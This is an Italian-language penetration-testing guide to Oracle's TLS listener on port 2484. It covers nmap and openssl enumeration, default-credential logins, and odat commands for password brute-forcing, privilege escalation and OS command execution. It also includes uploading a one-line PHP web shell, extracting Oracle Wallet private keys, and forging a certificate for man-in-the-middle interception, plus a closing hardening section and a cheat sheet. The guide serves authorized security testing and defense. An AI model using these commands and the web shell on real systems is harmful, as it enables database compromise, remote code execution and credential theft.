Porta 2484 Oracle TCPS: Wallet, TLS e Pentest

Porta 2484 Oracle TCPS nel pentest: TNS Listener cifrato, certificati e Oracle Wallet, TLS enumeration e differenze con la 2483.
- Pubblicato il 2026-04-13
- Tempo di lettura: 4 min
Executive Summary — La porta 2484 è la versione SSL/TLS del TNS Listener Oracle. Mentre la porta 2483 (e la tradizionale 1521) trasmette tutto in chiaro — incluse credenziali, query e risultati — la 2484 cifra il traffico con TLS. Oracle implementa TLS tramite il “Wallet” — un keystore proprietario che contiene certificati e chiavi. Nel pentest, la 2484 protegge dalla sniffing delle credenziali ma non cambia le tecniche post-authentication: se hai credenziali valide, puoi connetterti e tutte le tecniche di exploitation della porta 2483 funzionano identicamente (enumerazione, escalation, RCE). Il valore aggiunto per il pentester è l’intelligence nel certificato TLS e il test per TLS misconfiguration.
Cos’è la porta 2484 (Oracle TNS SSL/TLS)
- La 2484 è Oracle TNS con SSL/TLS — stesse tecniche della porta 2483, cambia solo il trasporto criptato
- Il certificato TLS può rivelare hostname, dominio e dettagli del server
- Oracle Wallet contiene le chiavi — se compromesso puoi decifrare il traffico o impersonare il server
Differenza tra 2483 e 2484 #
| Aspetto | Porta 2483 | Porta 2484 |
|---|---|---|
| Protocollo | TNS in chiaro | TNS su SSL/TLS |
| Credenziali | Intercettabili via sniffing | Cifrate |
| Exploitation post-auth | Identica | Identica |
| Enumerazione SID | odat, tnscmd | odat con –ssl, nmap ssl-cert |
| Default credentials | Funzionano | Funzionano (stessi account) |
1. Enumerazione #
Nmap con SSL #
nmap -sV -p 2484 --script=ssl-cert,ssl-enum-ciphers,oracle-tns-version 10.10.10.40PORT STATE SERVICE VERSION
2484/tcp open oracle-tns Oracle TNS listener (SSL)
| ssl-cert: Subject: commonName=oracle-prod-01.corp.internal
| Subject Alternative Name: DNS:oracle-prod-01.corp.internal
| Issuer: commonName=Corp Oracle CA
| Not valid before: 2025-03-01
| Not valid after: 2026-03-01
| ssl-enum-ciphers:
| TLSv1.2:
| TLS_RSA_WITH_AES_256_CBC_SHA256 - AIntelligence dal certificato:
- CN:
oracle-prod-01.corp.internal— hostname interno, conferma che è produzione - Issuer:
Corp Oracle CA— CA interna, non pubblica - Cipher:
TLS_RSA_WITH_AES_256_CBC_SHA256— no PFS (Perfect Forward Secrecy), se ottieni la chiave privata puoi decifrare traffico passato
Ispezione certificato #
echo | openssl s_client -connect 10.10.10.40:2484 2>/dev/null | openssl x509 -noout -textEnumerazione SID con SSL #
odat sidguesser -s 10.10.10.40 -p 2484 --sslLa flag --ssl dice a odat di usare TLS per la connessione.
Test connessione con sqlplus #
sqlplus sys/change_on_install@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=10.10.10.40)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))" as sysdbaIl protocollo TCPS (TCP Secure) indica a sqlplus di usare TLS. Potrebbe richiedere un Oracle Wallet configurato lato client se il server richiede mutual TLS.
2. Oracle Wallet #
Oracle non usa i certificati standard del sistema operativo. Usa un Wallet — un keystore proprietario in formato PKCS#12 modificato.
Dove si trova il Wallet #
# Path comune su Linux
find / -name "ewallet.p12" -o -name "cwallet.sso" 2>/dev/null/opt/oracle/wallet/ewallet.p12
/opt/oracle/wallet/cwallet.sso- ewallet.p12 — Wallet protetto da password (PKCS#12)
- cwallet.sso — Auto-login Wallet (SSO = Single Sign-On) — non richiede password
Estrarre certificati dal Wallet #
# Se hai cwallet.sso (auto-login, no password):
orapki wallet display -wallet /opt/oracle/wallet/ -pwd ""# Se hai ewallet.p12 (con password):
orapki wallet display -wallet /opt/oracle/wallet/ -pwd WalletP@ss!# Conversione a formato standard (PKCS#12 → PEM):
openssl pkcs12 -in ewallet.p12 -out wallet_certs.pem -nodesCon i certificati e le chiavi estratti puoi:
- Decifrare traffico catturato (se il cipher non ha PFS)
- Impersonare il server (MiTM)
- Connetterti come client autorizzato (se il server richiede mutual TLS)
Cercare la password del Wallet #
# In file di configurazione
grep -riE "wallet|ENCRYPTION_WALLET_LOCATION" /opt/oracle/ /etc/oracle/ 2>/dev/null
# sqlnet.ora
cat /opt/oracle/network/admin/sqlnet.oraWALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = /opt/oracle/wallet)))
SQLNET.AUTHENTICATION_SERVICES = (TCPS)
SSL_CLIENT_AUTHENTICATION = TRUESSL_CLIENT_AUTHENTICATION = TRUE → il server richiede mutual TLS. Serve un certificato client per connettersi.
3. Exploitation — Stesse Tecniche della 2483 #
Tutte le tecniche della porta 2483 funzionano sulla 2484. La differenza è solo il flag SSL nei comandi:
odat con SSL #
# Password guesser
odat passwordguesser -s 10.10.10.40 -p 2484 -d ORCL --ssl
# Privesc
odat privesc -s 10.10.10.40 -p 2484 -d ORCL -U scott -P tiger --ssl
# OS command
odat externaltable -s 10.10.10.40 -p 2484 -d ORCL -U sys -P change_on_install --sysdba --ssl --exec /bin/bash "-c 'id'"
# File upload
odat utlfile -s 10.10.10.40 -p 2484 -d ORCL -U sys -P change_on_install --sysdba --ssl --putFile /var/www/html shell.php "<?php system(\$_GET['c']); ?>"sqlplus con TCPS #
sqlplus scott/tiger@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=10.10.10.40)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))"Dentro sqlplus, tutti i comandi SQL sono identici: enumerazione utenti, dump hash, Java stored procedure per RCE, DBMS_SCHEDULER. Vedi la guida porta 2483 per ogni tecnica.
4. TLS Misconfiguration #
Cipher deboli #
nmap -p 2484 --script=ssl-enum-ciphers 10.10.10.40Se trovi cipher CBC o RC4 → vulnerabile a BEAST, POODLE. Se trovi TLS 1.0/1.1 → deprecati, potenzialmente downgrade attack.
Certificato self-signed senza validazione #
Se il client non valida il certificato del server:
# MiTM con certificato fake
# Genera un certificato fake per il target
openssl req -x509 -newkey rsa:2048 -keyout fake-key.pem -out fake-cert.pem -days 365 -nodes \
-subj "/CN=oracle-prod-01.corp.internal"Se il client si connette al tuo proxy con il certificato fake senza errori → le credenziali passano per il tuo proxy.
Sniffing su 2483 se entrambe le porte sono aperte #
Se il server Oracle accetta connessioni sia sulla 2483 (chiaro) che sulla 2484 (SSL):
nmap -sV -p 2483,2484 10.10.10.40Se la 2483 è aperta → un attaccante sulla rete può sniffare le credenziali dei client che si connettono in chiaro. Il finding è: “la porta 2483 è aperta e accetta connessioni in chiaro nonostante la 2484 SSL sia disponibile”.
5. Detection & Hardening #
Hardening specifico SSL #
- Disabilita la porta 2483 — forza solo connessioni SSL sulla 2484
- Cipher forti — solo TLS 1.2+ con ECDHE (PFS)
- Certificati da CA interna — non self-signed
- Mutual TLS — richiedi certificato client (
SSL_CLIENT_AUTHENTICATION = TRUE) - Wallet password forte — proteggi
ewallet.p12con password complessa - Permessi filesystem — solo l’utente
oraclelegge il Wallet directory - Rotazione certificati — scadenza ≤ 1 anno, rotazione automatica
listener.ora sicuro #
LISTENER =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCPS)(HOST = 0.0.0.0)(PORT = 2484))
)
SSL_CLIENT_AUTHENTICATION = TRUE
WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = /opt/oracle/wallet)))
ADMIN_RESTRICTIONS_LISTENER = ONNessun listener sulla 2483 (solo TCPS sulla 2484), mutual TLS richiesto, admin restrictions attive.
6. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap SSL | nmap -sV -p 2484 --script=ssl-cert,ssl-enum-ciphers target |
| Certificato | openssl s_client -connect target:2484 |
| SID enum SSL | odat sidguesser -s target -p 2484 --ssl |
| Login TCPS | sqlplus user/pass@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=target)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))" |
| Default creds SSL | sqlplus sys/change_on_install@... as sysdba |
| Brute force SSL | odat passwordguesser -s target -p 2484 -d SID --ssl |
| RCE SSL | odat externaltable ... --ssl --exec /bin/bash "-c 'id'" |
| Wallet location | find / -name "ewallet.p12" -o -name "cwallet.sso" |
| Wallet display | orapki wallet display -wallet /path/ |
| Extract certs | openssl pkcs12 -in ewallet.p12 -out certs.pem -nodes |
Riferimento: Oracle Database Net Services Reference, ODAT documentation, Oracle Security Guide. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/oracle







